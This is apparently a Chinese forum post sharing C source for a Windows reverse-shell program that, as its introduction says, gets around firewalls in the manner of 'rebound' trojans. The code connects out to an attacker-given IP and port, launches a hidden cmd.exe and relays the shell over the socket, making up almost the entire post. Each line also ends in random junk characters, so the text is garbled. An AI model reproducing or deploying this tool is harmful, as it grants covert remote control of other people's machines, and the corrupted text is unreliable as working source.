Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ~7:q+\  
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/* ============================== Y25`vE(  
Rebound port in Windows NT w <r*&  
By wind,2006/7 +(+lbCW/  
===============================*/ xV> .]  
#include Xf4QLw/r  
#include /!]K+6>
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#pragma comment(lib,"wsock32.lib") iC#a+G*N_M  
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void OutputShell(); f(Xin3#'  
SOCKET sClient; $H<_P'h-B  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !VD$uT  
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void main(int argc,char **argv) ygz2bHpD~  
{ ~VsN\!G  
WSADATA stWsaData; w7MRuAJ4  
int nRet; x1@,k=qrd  
SOCKADDR_IN stSaiClient,stSaiServer; >WZ.Dj0n  
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if(argc != 3) :` SIuu~@  
{ RuHDAJ"&a  
printf("Useage:\n\rRebound DestIP DestPort\n"); zA#pgX[#  
return; b
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} i+`8$uz  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); so`\e^d  
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stSaiClient.sin_family = AF_INET; qsj$u-xhX  
stSaiClient.sin_port = htons(0); Hcf"u&%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gW~YB2 $  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rCo}^M4Pb  
{ eEqcAUn  
printf("Bind Socket Failed!\n"); 0*MUe1{  
return;  ]!ZZRe  
} #'/rFT4{v  
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stSaiServer.sin_family = AF_INET; JrBPx/?(,;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Yup#aeXY/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tar/no  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %s}{5Qcl/  
{ :a8Sy("  
printf("Connect Error!"); X!hzpg(`hR  
return; =sWK;`  
} 'l<#;{  
OutputShell(); 7^>~k}H  
} H ezbCwsx&  
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void OutputShell() +=W(c8~P  
{ }X9&!A8z  
char szBuff[1024]; P*k n}:  
SECURITY_ATTRIBUTES stSecurityAttributes; 3uw3[ SR1  
OSVERSIONINFO stOsversionInfo; -']Idn6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3ko h!q+  
STARTUPINFO stStartupInfo; O C;~ H{  
char *szShell; LDegJer-v  
PROCESS_INFORMATION stProcessInformation; o"qxR'V  
unsigned long lBytesRead; O}C*weU  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tO&n$$  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I!!cA?W  
stSecurityAttributes.lpSecurityDescriptor = 0; WReHep  
stSecurityAttributes.bInheritHandle = TRUE; @CM5e!  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /\e_B6pF<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p63fpnH  
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}  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); PC5$TJnj3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e=##X}4zZ  
stStartupInfo.wShowWindow = SW_HIDE; $$$[Vn_H<  
stStartupInfo.hStdInput = hReadPipe; SOPair <r  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hcW>R  
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GetVersionEx(&stOsversionInfo); /pRv i>_(:  
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switch(stOsversionInfo.dwPlatformId) zn/>t-Bc  
{ ,]t_9B QK  
case 1: TQ![  
szShell = "command.com"; Lt~&K$t7~  
break; Eg&5tAyM  
default: E\}A<r  
szShell = "cmd.exe"; _*z^PkH  
break; +L=Xc^  
} E 6#/@C,  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y.(<  
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send(sClient,szMsg,77,0); me@`;Q3  
while(1) SP<(24zdd  
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *|q{(KX  
if(lBytesRead) B3yTN6-  
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |)d%3s\  
send(sClient,szBuff,lBytesRead,0); k"=*'  
} 2asRJ97qES  
else O:'qwJ#~  
{ $J<WFDn9  
lBytesRead=recv(sClient,szBuff,1024,0); %$Fe
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if(lBytesRead<=0) break; \>9^(N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P@bPdw!JA  
} 3{qB<*!p"G  
} K20Hh7cVJ  
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return; {ZdF6~+H(!  
}